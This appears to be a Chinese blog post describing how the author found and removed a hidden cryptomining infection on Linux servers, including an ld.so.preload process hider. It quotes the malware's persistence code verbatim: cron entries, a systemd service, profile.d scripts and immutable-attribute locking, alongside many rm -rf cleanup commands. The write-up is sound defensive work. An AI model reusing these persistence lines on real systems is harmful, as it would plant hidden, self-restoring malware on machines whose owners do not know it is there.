linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程) | 您所在的位置:网站首页 › linux系统占用内存 › linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程) |
突然有人反应说客户服务器使用有点卡,虽然是客户的服务器,里应当客户**自己处理的,可是项目还没完成,只有猥琐发育,自己搞定呗,客户是大哥啊。于是乎,立马使用常规操作,登陆服务器查看资源使用情况,发现服务器的CPU的us值在70%左右,然而并没有找到相关的CPU使用很高的进程,慌得一批,口吐芬芳。。。 问题分析: 1、首先排除应用程序问题,因为服务器的使用人数并不多,不可能有这么高的负载,而且如果是应用程序问题,肯定会显示出CPU高使用的应用进程 2、后排除CPU硬件故障,因为这个项目的几台服务器全都是这样的,而且这几台服务器全都是新上的几台服务器 3、怀疑内核版本问题,因为有人遇到过这种问题,果断拿一台做实验,升级内核版本,重启,然而并没有搞定 4、最后只有锁定病毒方面的问题,可是并没有显示高消耗的进程,应该是病毒将一些系统命令做了更改,无从着手的感觉,于是乎,百度。。。果然找到一个相同的问题:https://www.zhihu.com/question/59820313,终于可以确定最终的原因,病毒。。。 病毒处理常规步骤(之前一直这样处理的): 1、病毒进程查询 2、定时任务清理 3、自启动清理 4、服务清理 5、kill进程 病毒进程查询: 因为病毒是个隐藏的病毒,top没办法找到进程,通过参考https://www.zhihu.com/question/59820313这篇问答,找出病毒程序 首先查询是否有这个连接:netstat -anp 结果显示:tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED - 连接IP是91.121.140.167,进程名为“-”,确认为病毒程序 查询文件:cat /etc/ld.so.preload 内容为:/usr/local/lib/libprocesshider.so 因此,需要删除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload 清理文件时遇到报错Operation not permitted,因为文件被赋予了“i”权限,lsattr可以查看文件权限,可是查看权限时,报错没有lsattr命令,系统本身自带了的,估计是病毒将命令改了,重新下载软件包(e2fsprogs)安装就是 查看文件权限:lsattr /usr/local/lib/libprocesshider.so
chattr更改权限,任然报错没有chattr,心态爆炸。。。 后面查看定时任务时,发现用的lockr +i授权,借此配置权限,lockr -i /usr/local/lib/libprocesshider.so之后即可删除文件 清理文件后,top即可看到搞事情的病毒进程命“.sh” 病毒清理: 定时任务清理: 查询cron.d、cron.hourly、crontab目录或文件的异常 /etc/cron.d/phps文件异常,内容*/10 * * * * root /sbin/httpss,直接删除/etc/cron.d/phps、/sbin/httpss lockr -i /etc/cron.d/phps rm -rf /etc/cron.d/phps lockr -i /sbin/https rm -rf /sbin/https/etc/crontab内容异常,清理异常任务 * * * * * root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null * * * * * root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1
服务清理及自启动清理: /etc/rc.d/init.d/目录下异常文件删除:rm -rf selinux DbSecuritySpt 清理文件异常内容:/etc/rc.d/rc.local /lib/systemd/system发现异常服务文件:vim pwnriglhttps.service [Unit] Description=.sh Wants=network.target After=syslog.target network-online.target [Service] Type=forking ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null' Restart=always KillMode=process [Install] WantedBy=multi-user.target关闭pwnriglhttps.service服务:systemctl stop pwnriglhttps.service systemctl disable pwnriglhttps.service 删除文件:rm -rf pwnriglhttps.service top或者ps查询进程ID,kill进程,top查看资源使用恢复正常 最后删除病毒文件: rm -rf /usr/bin/.sh rm -rf /bin/.sh lockr -i /bin/.funzip rm -rf /bin/.funzip到此理应清理完毕,重启系统,发现资源使用正常,然而ssh远程登陆服务器后,病毒任然运行。。。
ssh登陆清理: 查询/etc/profile文件
发现目录/etc/profile.d/下出现异常文件:php.sh、supervisor.sh 查看内容:vim php.sh #!/bin/bash cp -f -r -- /bin/shh /bin/.sh 2>/dev/null /bin/.sh -c >/dev/null 2>&1 rm -rf -- .sh 2>/dev/nullvim supervisor.sh #!/bin/bash supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1 supervisorctl reload >/dev/null 2>&1/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf 删除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf lockr -i php.sh supervisor.sh rm php.sh supervisor.sh lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf最后再次kill进程,删除.sh文件 find / -name .sh rm /etc/.sh /usr/bin/.sh重启服务器,测试ssh登陆服务器,资源使用正常,病毒处理完成 总结: 病毒处理大概思路:病毒进程名查看、定时任务查看、开启启动目录查看、服务目录查看、用户登陆配置文件查看等,一般都是修改这些文件来达到入侵目的,还有系统命令的修改 如今病毒隐藏愈来愈深,愈来愈搞事情,所以建议从预防开始,注重病毒预防,中毒难受,严重导致数据丢失,无解。。。
-----------日常记录--------------- |
CopyRight 2018-2019 实验室设备网 版权所有 |